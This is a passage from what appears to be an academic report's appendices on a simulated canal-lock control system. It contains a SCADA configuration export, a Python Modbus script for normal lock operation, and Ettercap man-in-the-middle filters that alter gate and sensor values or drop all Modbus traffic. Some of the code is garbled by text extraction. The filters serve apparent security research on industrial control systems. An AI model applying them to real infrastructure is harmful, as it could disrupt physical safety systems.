"discardHighLimit":1.7976931348623157E308,
"discardLowLimit":-1.7976931348623157E308,
"enabled":true,
"intervalLoggingPeriod":15,
"name":"uv_clcmd",
"purgePeriod":1,
"textRenderer":{
"type":"PLAIN",
"suffix":""
},
"tolerance":0.0
},
{
"xid":"DP_993261",
"loggingType":"ON_CHANGE",
"intervalLoggingPeriodType":"MINUTES",
"intervalLoggingType":"INSTANT",
"purgeType":"YEARS",
"pointLocator":{
"range":"INPUT_REGISTER",
"modbusDataType":"TWO_BYTE_INT_UNSIGNED",
"additive":0.0,
"bit":0,
"charset":"ASCII",
"multiplier":1.0,
"offset":4,
"registerCount":0,
"settableOverride":false,
"slaveId":1,
"slaveMonitor":false
},
"eventDetectors":[
],
"engineeringUnits":"",
"chartColour":null,
"chartRenderer":null,
"dataSourceXid":"DS_243939",
"defaultCacheSize":1,
"deviceName":"SooLocks",
"discardExtremeValues":false,
"discardHighLimit":1.7976931348623157E308,
"discardLowLimit":-1.7976931348623157E308,
"enabled":true,
"intervalLoggingPeriod":15,
"name":"uv_val",
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"purgePeriod":1,
"textRenderer":{
"type":"PLAIN",
"suffix":""
},
"tolerance":0.0
},
{
"xid":"DP_989127",
"loggingType":"ON_CHANGE",
"intervalLoggingPeriodType":"MINUTES",
"intervalLoggingType":"INSTANT",
"purgeType":"YEARS",
"pointLocator":{
"range":"COIL_STATUS",
"modbusDataType":"BINARY",
"additive":0.0,
"bit":0,
"charset":"ASCII",
"multiplier":1.0,
"offset":6,
"registerCount":0,
"settableOverride":true,
"slaveId":1,
"slaveMonitor":false
},
"eventDetectors":[
],
"engineeringUnits":"",
"chartColour":null,
"chartRenderer":null,
"dataSourceXid":"DS_243939",
"defaultCacheSize":1,
"deviceName":"SooLocks",
"discardExtremeValues":false,
"discardHighLimit":1.7976931348623157E308,
"discardLowLimit":-1.7976931348623157E308,
"enabled":true,
"intervalLoggingPeriod":15,
"name":"lv_opcmd",
"purgePeriod":1,
"textRenderer":{
"type":"PLAIN",
"suffix":""
},
"tolerance":0.0
},
{
"xid":"DP_312073",
"loggingType":"ON_CHANGE",
"intervalLoggingPeriodType":"MINUTES",
"intervalLoggingType":"INSTANT",
"purgeType":"YEARS",
"pointLocator":{
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"range":"COIL_STATUS",
"modbusDataType":"BINARY",
"additive":0.0,
"bit":0,
"charset":"ASCII",
"multiplier":1.0,
"offset":7,
"registerCount":0,
"settableOverride":true,
"slaveId":1,
"slaveMonitor":false
},
"eventDetectors":[
],
"engineeringUnits":"",
"chartColour":null,
"chartRenderer":null,
"dataSourceXid":"DS_243939",
"defaultCacheSize":1,
"deviceName":"SooLocks",
"discardExtremeValues":false,
"discardHighLimit":1.7976931348623157E308,
"discardLowLimit":-1.7976931348623157E308,
"enabled":true,
"intervalLoggingPeriod":15,
"name":"lv_clcmd",
"purgePeriod":1,
"textRenderer":{
"type":"PLAIN",
"suffix":""
},
"tolerance":0.0
},
{
"xid":"DP_291730",
"loggingType":"ON_CHANGE",
"intervalLoggingPeriodType":"MINUTES",
"intervalLoggingType":"INSTANT",
"purgeType":"YEARS",
"pointLocator":{
"range":"INPUT_REGISTER",
"modbusDataType":"TWO_BYTE_INT_UNSIGNED",
"additive":0.0,
"bit":0,
"charset":"ASCII",
"multiplier":1.0,
"offset":5,
"registerCount":0,
"settableOverride":false,
"slaveId":1,
"slaveMonitor":false
},
"eventDetectors":[
],
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"engineeringUnits":"",
"chartColour":null,
"chartRenderer":null,
"dataSourceXid":"DS_243939",
"defaultCacheSize":1,
"deviceName":"SooLocks",
"discardExtremeValues":false,
"discardHighLimit":1.7976931348623157E308,
"discardLowLimit":-1.7976931348623157E308,
"enabled":true,
"intervalLoggingPeriod":15,
"name":"lv_val",
"purgePeriod":1,
"textRenderer":{
"type":"PLAIN",
"suffix":""
},
"tolerance":0.0
},
{
"xid":"DP_995262",
"loggingType":"ON_CHANGE",
"intervalLoggingPeriodType":"MINUTES",
"intervalLoggingType":"INSTANT",
"purgeType":"YEARS",
"pointLocator":{
"range":"COIL_STATUS",
"modbusDataType":"BINARY",
"additive":0.0,
"bit":0,
"charset":"ASCII",
"multiplier":1.0,
"offset":9,
"registerCount":0,
"settableOverride":true,
"slaveId":1,
"slaveMonitor":false
},
"eventDetectors":[
],
"engineeringUnits":"",
"chartColour":null,
"chartRenderer":null,
"dataSourceXid":"DS_243939",
"defaultCacheSize":1,
"deviceName":"SooLocks",
"discardExtremeValues":false,
"discardHighLimit":1.7976931348623157E308,
"discardLowLimit":-1.7976931348623157E308,
"enabled":true,
"intervalLoggingPeriod":15,
"name":"em_gt",
"purgePeriod":1,
"textRenderer":{
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"type":"PLAIN",
"suffix":""
},
"tolerance":0.0
},
{
"xid":"DP_387666",
"loggingType":"ON_CHANGE",
"intervalLoggingPeriodType":"MINUTES",
"intervalLoggingType":"INSTANT",
"purgeType":"YEARS",
"pointLocator":{
"range":"COIL_STATUS",
"modbusDataType":"BINARY",
"additive":0.0,
"bit":0,
"charset":"ASCII",
"multiplier":1.0,
"offset":10,
"registerCount":0,
"settableOverride":true,
"slaveId":1,
"slaveMonitor":false
},
"eventDetectors":[
],
"engineeringUnits":"",
"chartColour":null,
"chartRenderer":null,
"dataSourceXid":"DS_243939",
"defaultCacheSize":1,
"deviceName":"SooLocks",
"discardExtremeValues":false,
"discardHighLimit":1.7976931348623157E308,
"discardLowLimit":-1.7976931348623157E308,
"enabled":true,
"intervalLoggingPeriod":15,
"name":"em_vlv",
"purgePeriod":1,
"textRenderer":{
"type":"PLAIN",
"suffix":""
},
"tolerance":0.0
},
{
"xid":"DP_533280",
"loggingType":"ON_CHANGE",
"intervalLoggingPeriodType":"MINUTES",
"intervalLoggingType":"INSTANT",
"purgeType":"YEARS",
"pointLocator":{
"range":"INPUT_REGISTER",
"modbusDataType":"TWO_BYTE_INT_UNSIGNED",
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"additive":0.0,
"bit":0,
"charset":"ASCII",
"multiplier":1.0,
"offset":0,
"registerCount":0,
"settableOverride":false,
"slaveId":1,
"slaveMonitor":false
},
"eventDetectors":[
],
"engineeringUnits":"",
"chartColour":null,
"chartRenderer":null,
"dataSourceXid":"DS_243939",
"defaultCacheSize":1,
"deviceName":"SooLocks",
"discardExtremeValues":false,
"discardHighLimit":1.7976931348623157E308,
"discardLowLimit":-1.7976931348623157E308,
"enabled":true,
"intervalLoggingPeriod":15,
"name":"flow_in",
"purgePeriod":1,
"textRenderer":{
"type":"PLAIN",
"suffix":""
},
"tolerance":0.0
},
{
"xid":"DP_531723",
"loggingType":"ON_CHANGE",
"intervalLoggingPeriodType":"MINUTES",
"intervalLoggingType":"INSTANT",
"purgeType":"YEARS",
"pointLocator":{
"range":"INPUT_REGISTER",
"modbusDataType":"TWO_BYTE_INT_UNSIGNED",
"additive":0.0,
"bit":0,
"charset":"ASCII",
"multiplier":1.0,
"offset":1,
"registerCount":0,
"settableOverride":false,
"slaveId":1,
"slaveMonitor":false
},
"eventDetectors":[
],
"engineeringUnits":"",
"chartColour":null,
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"chartRenderer":null,
"dataSourceXid":"DS_243939",
"defaultCacheSize":1,
"deviceName":"SooLocks",
"discardExtremeValues":false,
"discardHighLimit":1.7976931348623157E308,
"discardLowLimit":-1.7976931348623157E308,
"enabled":true,
"intervalLoggingPeriod":15,
"name":"flow_out",
"purgePeriod":1,
"textRenderer":{
"type":"PLAIN",
"suffix":""
},
"tolerance":0.0
},
{
"xid":"DP_676198",
"loggingType":"ON_CHANGE",
"intervalLoggingPeriodType":"MINUTES",
"intervalLoggingType":"INSTANT",
"purgeType":"YEARS",
"pointLocator":{
"range":"INPUT_REGISTER",
"modbusDataType":"TWO_BYTE_INT_UNSIGNED",
"additive":0.0,
"bit":0,
"charset":"ASCII",
"multiplier":1.0,
"offset":6,
"registerCount":0,
"settableOverride":false,
"slaveId":1,
"slaveMonitor":false
},
"eventDetectors":[
],
"engineeringUnits":"",
"chartColour":null,
"chartRenderer":null,
"dataSourceXid":"DS_243939",
"defaultCacheSize":1,
"deviceName":"SooLocks",
"discardExtremeValues":false,
"discardHighLimit":1.7976931348623157E308,
"discardLowLimit":-1.7976931348623157E308,
"enabled":true,
"intervalLoggingPeriod":15,
"name":"dp_chmbr",
"purgePeriod":1,
"textRenderer":{
"type":"PLAIN",
"suffix":""
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},
"tolerance":0.0
},
{
"xid":"DP_222776",
"loggingType":"ON_CHANGE",
"intervalLoggingPeriodType":"MINUTES",
"intervalLoggingType":"INSTANT",
"purgeType":"YEARS",
"pointLocator":{
"range":"INPUT_REGISTER",
"modbusDataType":"TWO_BYTE_INT_UNSIGNED",
"additive":0.0,
"bit":0,
"charset":"ASCII",
"multiplier":1.0,
"offset":7,
"registerCount":0,
"settableOverride":false,
"slaveId":1,
"slaveMonitor":false
},
"eventDetectors":[
],
"engineeringUnits":"",
"chartColour":null,
"chartRenderer":null,
"dataSourceXid":"DS_243939",
"defaultCacheSize":1,
"deviceName":"SooLocks",
"discardExtremeValues":false,
"discardHighLimit":1.7976931348623157E308,
"discardLowLimit":-1.7976931348623157E308,
"enabled":true,
"intervalLoggingPeriod":15,
"name":"dp_rsvr",
"purgePeriod":1,
"textRenderer":{
"type":"PLAIN",
"suffix":""
},
"tolerance":0.0
},
{
"xid":"DP_594597",
"loggingType":"ON_CHANGE",
"intervalLoggingPeriodType":"MINUTES",
"intervalLoggingType":"INSTANT",
"purgeType":"YEARS",
"pointLocator":{
"range":"INPUT_REGISTER",
"modbusDataType":"TWO_BYTE_INT_UNSIGNED",
"additive":0.0,
"bit":0,
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"charset":"ASCII",
"multiplier":1.0,
"offset":8,
"registerCount":0,
"settableOverride":false,
"slaveId":1,
"slaveMonitor":false
},
"eventDetectors":[
],
"engineeringUnits":"",
"chartColour":null,
"chartRenderer":null,
"dataSourceXid":"DS_243939",
"defaultCacheSize":1,
"deviceName":"SooLocks",
"discardExtremeValues":false,
"discardHighLimit":1.7976931348623157E308,
"discardLowLimit":-1.7976931348623157E308,
"enabled":true,
"intervalLoggingPeriod":15,
"name":"dp_tlwtr",
"purgePeriod":1,
"textRenderer":{
"type":"PLAIN",
"suffix":""
},
"tolerance":0.0
}
],
"eventHandlers":[
],
"watchLists":[
{
"xid":"WL_541399",
"user":"admin",
"dataPoints":[
"DP_802306",
"DP_312518",
"DP_076895",
"DP_458328",
"DP_993261",
"DP_082790",
"DP_015243",
"DP_533280",
"DP_531723"
],
"sharingUsers":[
],
"name":"(unnamed)"
}
],
"scripts":[
{

203

"type":"CONTEXTUALIZED_SCRIPT",
"user":"admin",
"pointsOnContext":[
],
"objectsOnContext":[
{
"varName":"val_2",
"objectId":2
}
],
"name":"warning_on",
"script":"val_2.writeDataPoint('DP_802306',1);",
"xid":"SC_158145"
},
{
"type":"CONTEXTUALIZED_SCRIPT",
"user":"admin",
"pointsOnContext":[
],
"objectsOnContext":[
{
"varName":"val_2",
"objectId":2
}
],
"name":"ug_open",
"script":"val_2.writeDataPoint('DP_076895',1);",
"xid":"SC_412850"
},
{
"type":"CONTEXTUALIZED_SCRIPT",
"user":"admin",
"pointsOnContext":[
],
"objectsOnContext":[
{
"varName":"val_2",
"objectId":2
}
],
"name":"ug_close",
"script":"val_2.writeDataPoint('DP_312518',1);",
"xid":"SC_683174"
},
{
"type":"CONTEXTUALIZED_SCRIPT",
"user":"admin",
"pointsOnContext":[
],
"objectsOnContext":[
{
"varName":"val_2",
"objectId":2
}
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],
"name":"lg_open",
"script":"val_2.writeDataPoint('DP_936160',1);",
"xid":"SC_747113"
},
{
"type":"CONTEXTUALIZED_SCRIPT",
"user":"admin",
"pointsOnContext":[
],
"objectsOnContext":[
{
"varName":"val_2",
"objectId":2
}
],
"name":"lg_close",
"script":"val_2.writeDataPoint('DP_090322',1);",
"xid":"SC_285403"
},
{
"type":"CONTEXTUALIZED_SCRIPT",
"user":"admin",
"pointsOnContext":[
],
"objectsOnContext":[
{
"varName":"val_2",
"objectId":2
}
],
"name":"uv_open",
"script":"val_2.writeDataPoint('DP_015243',1);",
"xid":"SC_486961"
},
{
"type":"CONTEXTUALIZED_SCRIPT",
"user":"admin",
"pointsOnContext":[
],
"objectsOnContext":[
{
"varName":"val_2",
"objectId":2
}
],
"name":"uv_close",
"script":"val_2.writeDataPoint('DP_082790',1);",
"xid":"SC_406710"
},
{
"type":"CONTEXTUALIZED_SCRIPT",
"user":"admin",
"pointsOnContext":[
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],
"objectsOnContext":[
{
"varName":"val_2",
"objectId":2
}
],
"name":"lv_open",
"script":"val_2.writeDataPoint('DP_989127',1);",
"xid":"SC_263559"
},
{
"type":"CONTEXTUALIZED_SCRIPT",
"user":"admin",
"pointsOnContext":[
],
"objectsOnContext":[
{
"varName":"val_2",
"objectId":2
}
],
"name":"lv_close",
"script":"val_2.writeDataPoint('DP_312073',1);",
"xid":"SC_948865"
},
{
"type":"CONTEXTUALIZED_SCRIPT",
"user":"admin",
"pointsOnContext":[
],
"objectsOnContext":[
{
"varName":"val_2",
"objectId":2
}
],
"name":"em_gate",
"script":"val_2.writeDataPoint('DP_995262',1);",
"xid":"SC_263595"
},
{
"type":"CONTEXTUALIZED_SCRIPT",
"user":"admin",
"pointsOnContext":[
],
"objectsOnContext":[
{
"varName":"val_2",
"objectId":2
}
],
"name":"em_valve",
"script":"val_2.writeDataPoint('DP_387666',1);",
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"xid":"SC_671816"
},
{
"type":"CONTEXTUALIZED_SCRIPT",
"user":"admin",
"pointsOnContext":[
{
"dataPointXid":"DP_312518",
"varName":"p22"
},
{
"dataPointXid":"DP_936160",
"varName":"p25"
}
],
"objectsOnContext":[
],
"name":"Tester",
"script":"val_2.writeDataPoint('DP_989127',0);",
"xid":"SC_550794"
}
]
}
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APPENDIX C: MitM Alteration 1 Ettercap Filter
if (ip.proto == TCP)
{
if (tcp.dst == 502 ||
{
if (DATA.data +
{
#make the
DATA.data
}
if (DATA.data +
{
#make the
DATA.data
}
}
}

tcp.src == 502)
7 == 0x01)
starting address 1 instead of 0
+ 9 = 0x01;
7 == 0x04)
starting address 1 instead of 0
+ 9 = 0x01;
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APPENDIX D: MitM Alteration 2 Ettercap Filter
if (ip.proto == TCP)
{
if (tcp.dst == 502 || tcp.src == 502)
{
if (DATA.data + 7 == 0x01)
{
#make QX 1.0-3 zero; that's half the last byte
DATA.data + 10 = 0x00;
}
if (DATA.data + 7 == 0x04)
{
#make IW 6 +2 and IW 7 +7
#IW6
#account for overflow
if (DATA.data + 22 >= 0x38)
{
DATA.data + 22 += 0xC8;
DATA.data + 21 += 0x01;
}
else #if (DATA.data + 22 < 0x38)
{
DATA.data + 22 += 0xC8;
}
#IW7
#account for overflow
if (DATA.data + 24 >= 0x44)
{
DATA.data + 24 += 0xBC;
DATA.data + 23 += 0x03;
}
else #if (DATA.data + 24 < 0x44)
{
DATA.data + 24 += 0xBC;
DATA.data + 23 += 0x02;
}
}
}
}
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APPENDIX E: MitM Alteration 3 Ettercap Filter
if (ip.proto == TCP)
{
if (tcp.dst == 502 || tcp.src == 502)
{
if (DATA.data + 7 == 0x05)
{
msg("FOUND 1");
#if the transaction ID is in the lower half
#only activates 50% of IDs
if (DATA.data + 1 <= 0x80)
{
msg("FOUND 2");
if(DATA.data + 10 == 0xFF)
{
msg("FOUND 3");
DATA.data + 10 = 0x00;
}
}
}
}
}
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APPENDIX F: MitM DoS Ettercap Filter
if (ip.proto == TCP)
{
if (tcp.dst == 502 || tcp.src == 502)
{
msg("Dropping.");
drop();
}
}
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APPENDIX G: Baseline Network Traffic Code
#Initialize everything
from pyModbusTCP.client import ModbusClient
import random
import time
SERVER_HOST = "192.168.56.2"
#PLC IP Address
SERVER_PORT = 502
#Modbus port
c = ModbusClient()
c.host(SERVER_HOST)
c.port(SERVER_PORT)
#constants
gate_min = 7; #degrees for fully closed gate
#QX values
upper_gate_open = 0;
upper_gate_close = 1;
lower_gate_open = 2;
lower_gate_close = 3;
fill_valve_open = 4;
fill_valve_close = 5;
empty_valve_open = 6;
empty_valve_close = 7;
warning_horn = 8; #QX 1.0
emergency_gate = 9;
emergency_valve = 10;
reservoir_equal = 11;
tailwater_equal = 12;
#IW values
fill_rate = 0;
empty_rate = 1;
upper_gate_sense = 2; #In degrees; 90 is fully open
lower_gate_sense = 3;
fill_valve_sense = 4; #Percentage; 100% is fully open
empty_valve_sense = 5;
chamber_depth = 6;
reservoir_depth = 7;
tailwater_depth = 8;
sill_height = 9;
#QW values
reservoir_relative = 0; #reservoir relative height
############################
print "Beginning lock operation program."
#connect
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if not c.is_open():
#check if TCP session is open, if not try and
open TCP session
if not c.open(): #error creating TCP session
print("Cannot reach " + SERVER_HOST + ":" + str(SERVER_PORT))
print "Connected successfully. \n"
time.sleep(1)
if c.is_open():
#Startup code to get everything in position prior to looping
#Chamber should be full, fill valves should be open
print "Beginning initial setup.\nEmpty valve and both gates will be
closed.\nFill valve will be open, with chamber depth at highest."
#Use horn; write 1 to %QX1.0
command_work = c.write_single_coil(warning_horn,True) #send close
command to lower gate
if not command_work:
#if error in sending command to lower gate
print("Could not sound horn, 1 to %QX1.0")
print("\nHorn sounded. WAAAAAAAAAAH.")
#Close upper gates; write 1 to %QX0.1
command_work = c.write_single_coil(upper_gate_close,True) #send
close command to upper gate
if not command_work:
#if error in sending command to upper gate
print("Could not close upper gate, 1 to %QX0.1")
print("\nUpper gate closing.")
#Wait for gate to finish moving; %IW2 must equal 7
read = c.read_input_registers(upper_gate_sense,1) #read upper gate
position
if not read: #if error in reading position
print("Problem reading upper gate position.")
else:
#if no error in reading value
while (read != [700]):
#wait for gate to open
print "Waiting for upper gate to close.
Current
position: ", read
read = c.read_input_registers(upper_gate_sense,1) #read
again
time.sleep(3)
print"Upper gate is closed. Position:", read
#Use horn; write 1 to %QX1.0
command_work = c.write_single_coil(warning_horn,True) #send close
command to lower gate
if not command_work:
#if error in sending command to lower gate
print("Could not sound horn, 1 to %QX1.0")
print("\nHorn sounded. WAAAAAAAAAAH.")
#Close lower gates; write 1 to %QX0.3
command_work = c.write_single_coil(lower_gate_close,True) #send
close command to lower gate
if not command_work:
#if error in sending command to lower gate
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print("Could not close lower gate, 1 to %QX0.3")
print("\nLower gate closing.")
#Wait for gate to finish moving; %IW2 must equal 7
read = c.read_input_registers(lower_gate_sense,1) #read upper gate
position
if not read: #if error in reading position
print("Problem reading lower gate position.")
else:
#if no error in reading value
while (read != [700]):
#wait for gate to open
print "Waiting for lower gate to close.
Current
position: ", read
read = c.read_input_registers(lower_gate_sense,1) #read
again
time.sleep(3)
print"Lower gate is closed. Position:", read
#CLose emptying valve; write 1 to %QX0.7
command_work = c.write_single_coil(empty_valve_close, True) #send
close command to empty valve
if not command_work:
#if error in sending command to empty valve
print("Could not close empty valve, 1 to %QX0.7")
print("\nEmpty valve closing.")
##Wait for valve to finish moving; %IW5 mus equal 0
read = c.read_input_registers(empty_valve_sense,1) #read upper
valve position
if not read: #if error in reading gate position
print("Problem reading empty valve position.")
else:
#if no error in reading value
while (read != [0]):
#wait for valve to close
print "Waiting for empty valve to close.
Current
position: ", read
read
=
c.read_input_registers(empty_valve_sense,1)
#read again
time.sleep(3)
print "Empty valve is closed. Position:", read
#Open fill valve; write 1 to %QX0.4
command_work = c.write_single_coil(fill_valve_open, True) #send
open command to fill valve
if not command_work:
#if error in sending command to fill valve
print("Could not open fill valve, 1 to %QX0.4")
print("\nFill valve opening.")
##Wait for valve to finish moving; %IW4 mus equal 100
read = c.read_input_registers(fill_valve_sense,1) #read upper valve
position
if not read: #if error in reading gate position
print("Problem reading fill valve position.")
else:
#if no error in reading value
while (read != [10000]): #wait for valve to open
print "Waiting for fill valve to open.
Current
position: ", read
read = c.read_input_registers(fill_valve_sense,1) #read
again
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time.sleep(3)
print "Fill valve is open.

Position:", read

#Wait until chamber is full; %QX1.3 must be 1
read = c.read_coils(reservoir_equal,1) #read if reservoir and
chamber equal
if not read: #if error in reading position
print("Problem reading reservoir_equal.")
else: #if no error in reading value
reservoir = c.read_input_registers(reservoir_depth,1)
print "\nWaiting for chamber to fill to sill height [2150]
plus", reservoir
while (read[0] != 1):
#wait for chamber to fill
chamber = c.read_input_registers(chamber_depth,1)
print "Chamber depth: ", chamber
read = c.read_coils(reservoir_equal,1) #read again
time.sleep(3)
chamber = c.read_input_registers(chamber_depth,1)
print "Chamber is full. Chamber depth:", chamber
print "\nInitialization complete.\n"
time.sleep(1)
#Now loop through normal operations
while True:
#########################################################################
########
#Wait a bit
###
delay = random.randint(1,3) #was 180, 300
print "\nNow to wait for another ship...
Let's wait for",
delay, "seconds."
time.sleep(delay)
print "What's that on the horizon?
A ship to send
downstream!\n"
###
###Lowering a ship
print "A ship wants to go downstream!
time.sleep(1)

Oh, boy!"

#Open fill valve; write 1 to %QX0.4
command_work
=
c.write_single_coil(fill_valve_open,True)
#send open command to fill valve
if not command_work:
#if error in sending command to fill
valve
print("Could not open fill valve.
Must write 1 to
%QX0.4")
print("\nFill valve opening.")
##Wait for valve to finish moving; %IW4 mus equal 100
read = c.read_input_registers(fill_valve_sense,1) #read upper
gate position
if not read: #if error in reading gate position
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else:

print("Problem reading fill valve position.")
#if no error in reading value
while (read != [10000]): #wait for valve to open
print "Waiting for fill valve to open. Current

position: ", read
read = c.read_input_registers(fill_valve_sense,1)
#read again
time.sleep(3)
print "Fill valve is open.

Position:", read

#Open upper gates; write 1 to %QX0.0
command_work
=
c.write_single_coil(upper_gate_open,True)
#send open command to upper gate
if not command_work:
#if error in sending command to
upper gate
print("Could not open upper gate, 1 to %QX0.0")
print("\nUpper gate opening.")
#Wait for gate to finish moving; %IW2 must equal 90
read = c.read_input_registers(upper_gate_sense,1) #read upper
gate position
if not read: #if error in reading position
print("Problem reading upper gate position")
else:
#if no error in reading value
while (read != [9000]): #wait for gate to open
print "Waiting for upper gate to open. Current
position: ", read
read = c.read_input_registers(upper_gate_sense,1)
#read again
time.sleep(3)
print"Upper gate is open. Position:", read
##Wait for ship to enter; pause for 3-5 minutes
delay = random.randint(1,3) #was 180, 300
print '\nDelay time is ', delay, ' seconds.\nShip entering
now. Hello, newcomer!\n'
print "
O
O
O\n
O\n
__|__\n
|| ||_____\n
|| ||
|\n
--------------------------\n
\
O
O
O
O
/\n ~ ~ ~ ~ ~ ~
~ ~ ~ ~ ~ ~ ~ ~ ~ ~\n ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~\n"
#ASCII Art from http://www.asciiworld.com/-Boats-.html
time.sleep(delay)
print "Ship has entered."
#Use horn; write 1 to %QX1.0
command_work = c.write_single_coil(warning_horn,True) #send
close command to lower gate
if not command_work:
#if error in sending command to
lower gate
print("Could not sound horn, 1 to %QX1.0")
print("\nHorn sounded. WAAAAAAAAAAH.")
#Close upper gates; write 1 to %QX0.1
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command_work
=
c.write_single_coil(upper_gate_close,True)
#send close command to upper gate
if not command_work:
#if error in sending command to
upper gate
print("Could not close upper gate, 1 to %QX0.1")
print("\nUpper gate closing.")
#Wait for gate to finish moving; %IW2 must equal gate_min
read = c.read_input_registers(upper_gate_sense,1) #read upper
gate position
if not read: #if error in reading gate position
print("Problem reading upper gate position")
else:
#if no error in reading value
while (read != [700]):
#wait for upper gate to close
print "Waiting for upper gate to close. Current
position: ", read
read = c.read_input_registers(upper_gate_sense,1)
#read again
time.sleep(3)
print "Upper gate is closed. Current position: ", read
#Close fill valve; write 1 to %QX0.5
command_work
=
c.write_single_coil(fill_valve_close,True)
#send close command to fill valve
if not command_work:
#if error in sending command to fill
valve
print("Could not close fill valve, must write 1 to
%QX0.5")
print("\nFill valve closing.")
#Wait for fill valve to finish moving; %IW4 must = 0%
read = c.read_input_registers(fill_valve_sense,1) #read fill
valve position
if not read: #if error in reading gate position
print("Problem reading fill valve position.")
else:
#if no error in reading value
while (read != [0]):
#wait for fill valve to close
print"Waiting for fill valve to close. Current
position: ", read
read = c.read_input_registers(fill_valve_sense,1)
#read again
time.sleep(3)
print "Fill valve is closed. Current position: ", read
print "\nTime to lower the ship!"
#Open empty valve; write 1 to %QX0.6
command_work
=
c.write_single_coil(empty_valve_open,True)
#send open command to empty valve
if not command_work:
#if error in sending command to
empty valve
print("Could not open empty valve, must write 1 to
%QX0.6")
print("\nEmptying valve opening.")
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#Wait for water level to be low enough; %QX1.4 must equal 1
read = c.read_input_registers(tailwater_equal,1) #read if
tailwater = chamber
if not read: #if error in reading equivalence
print("Problem reading water level equivalence.")
else:
#if no error in reading value
tailwater = c.read_input_registers(tailwater_depth,1)
print "Waiting for chamber to empty to", tailwater
while (read != [1]):
#wait for chamber to empty
chamber = c.read_input_registers(chamber_depth,1)
print "Chamber depth: ", chamber
read
=
c.read_coils(tailwater_equal,1)
#read
again
time.sleep(3)
print("Tailwater and chamber are equal.")
#Open lower gates; write 1 to %QX0.2
command_work
=
c.write_single_coil(lower_gate_open,True)
#send open command to lower gate
if not command_work:
#if error in sending command to
lower gate
print("Could not open lower gate, 1 to %QX0.2")
print("\nLower gates opening.")
##Wait for gate to finish moving; %IW3 much equal 90
read = c.read_input_registers(lower_gate_sense,1) #read lower
gate position
if not read: #if error in reading position
print("Problem reading lower gate position")
else:
#if no error in reading value
while (read != [9000]): #wait
for
gate
to
finish
moving
print "Waiting for lower gates to open. Current
position:", read
read = c.read_input_registers(lower_gate_sense,1)
#read again
time.sleep(3)
print("Lower gate is open.")
##Wait for ship to exit
##Have a pause for 3-5 minutes
delay = random.randint(1,3) #was 180, 300
print '\nDelay time is ', delay, ' seconds.\nShip exiting
now.\n'
~ ~ ~ ~\n

time.sleep(delay)
print "\n
All empty!\n\n\n ~ ~ ~ ~ ~ ~ ~ ~
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~\n"
print("Ship has exited. Safe travels, friend!")

~ ~ ~ ~

#########################################################################
########
#Wait a bit
###
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delay = random.randint(1,3) #was 180, 300
print "\nNow to wait for another ship...
This will take
about", delay, "seconds."
time.sleep(delay)
print "Oh, look! A ship to send upstream!\n"
#########################################################################
#######
###Raising a ship
#Open empty valve; write 1 to %QX0.6
command_work
=
c.write_single_coil(empty_valve_open,True)
#send open command to empty valve
if not command_work:
#if error in sending command to
empty valve
print("Could not open empty valve, must write 1 to
%QX0.6")
print("\nEmptying valve opening.")
#Wait for water level to be low enough; %QX1.4 must equal 1
read = c.read_input_registers(tailwater_equal,1) #read if
tailwater = chamber
if not read: #if error in reading equivalence
print("Problem reading water level equivalence.")
else:
#if no error in reading value
tailwater = c.read_input_registers(tailwater_depth,1)
print "Waiting for chamber to empty to", tailwater
while (read != [1]):
#wait for chamber to empty
chamber = c.read_input_registers(chamber_depth,1)
print "Chamber depth: ", chamber
read
=
c.read_coils(tailwater_equal,1)
#read
again
time.sleep(3)
print("Tailwater and chamber are equal.")
#Open lower gates; write 1 to %QX0.2
command_work
=
c.write_single_coil(lower_gate_open,True)
#send open command to lower gate
if not command_work:
#if error in sending command to
lower gate
print("Could not open lower gate, 1 to %QX0.2")
print("\nLower gates opening.")
#Wait for gate to finish moving; %IW3 much equal 90
read = c.read_input_registers(lower_gate_sense,1) #read lower
gate position
if not read: #if error in reading position
print("Problem reading lower gate position.")
else:
#if no error in reading value
while (read != [9000]): #wait
for
gate
to
finish
moving
print"Waiting for lower gate to open.
Current
position:", read
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read = c.read_input_registers(lower_gate_sense,1)
#read again
time.sleep(3)
print("Lower gate is open.")
#Wait for ship to enter; pause for 3-5 minutes
delay = random.randint(1,3) #was 180, 300
print '\nDelay time is ', delay, ' seconds.\nShip entering
now. Hey there, new ship!\n'
print "
O O O\n
O\n
__|__\n
_____|| ||\n
|
|| ||\n
--------------------------\n
\
O
O
O
O
/\n ~ ~ ~ ~ ~ ~
~ ~ ~ ~ ~ ~ ~ ~ ~ ~\n ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~\n"
#ASCII
art
modified
from
http://www.asciiworld.com/-Boats-.html
time.sleep(delay)
print "Ship has entered.\n"
#Use horn; write 1 to %QX1.0
command_work = c.write_single_coil(warning_horn,True) #send
close command to lower gate
if not command_work:
#if error in sending command to
lower gate
print("Could not sound horn, 1 to %QX1.0")
print("\nHorn sounded. WAAAAAAAAAAH.")
#Close lower gates; write 1 to %QX0.3
command_work
=
c.write_single_coil(lower_gate_close,True)
#send close command to lower gate
if not command_work:
#if error in sending command to
lower gate
print("Could not close lower gate, 1 to %QX0.3")
print("\nLower gate closing.")
#Wait for gate to finish moving; %IW3 must equal 0
read = c.read_input_registers(lower_gate_sense,1) #read lower
gate position
if not read: #if error in reading position
print("Problem reading lower gate position")
else:
#if no error in reading value
while (read != [700]):
#wait
for
gate
to
finish
moving
print "Waiting for lower gate to close. Current
position:", read
read = c.read_input_registers(lower_gate_sense,1)
#read again
time.sleep(3)
print("Lower gate is closed.")
#Close empty valve; write 1 to %QX0.7
command_work
=
c.write_single_coil(empty_valve_close,True)
#send close command to empty valve
if not command_work:
#if error in sending command to
empty valve
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print("Could not close empty valve, 1 to %QX0.7")
print("\nEmpty valve closing")
#Wait for empty valve to finish moving; %IW5 must = 0%
read = c.read_input_registers(empty_valve_sense,1) #read fill
valve position
if not read: #if error in reading gate position
print("Problem reading emptying valve position.")
else:
#if no error in reading value
while (read != [0]):
#wait for fill valve to close
print"Waiting for fill valve to close. Current
position: ", read
read
=
c.read_input_registers(empty_valve_sense,1) #read again
time.sleep(3)
print "Emptying valve is closed. Current position: ",
read
print "\nTime to raise the ship!"
#Open fill valve; write 1 to %QX0.4
command_work
=
c.write_single_coil(fill_valve_open,True)
#send open command to fill valve
if not command_work:
#if error in sending command to fill
valve
print("Could not open fill valve, 1 to %QX0.4")
print("\nFill valve opening.")
#Wait until chamber is full; %QX1.3 must be 1
read = c.read_coils(reservoir_equal,1) #read if reservoir and
chamber equal
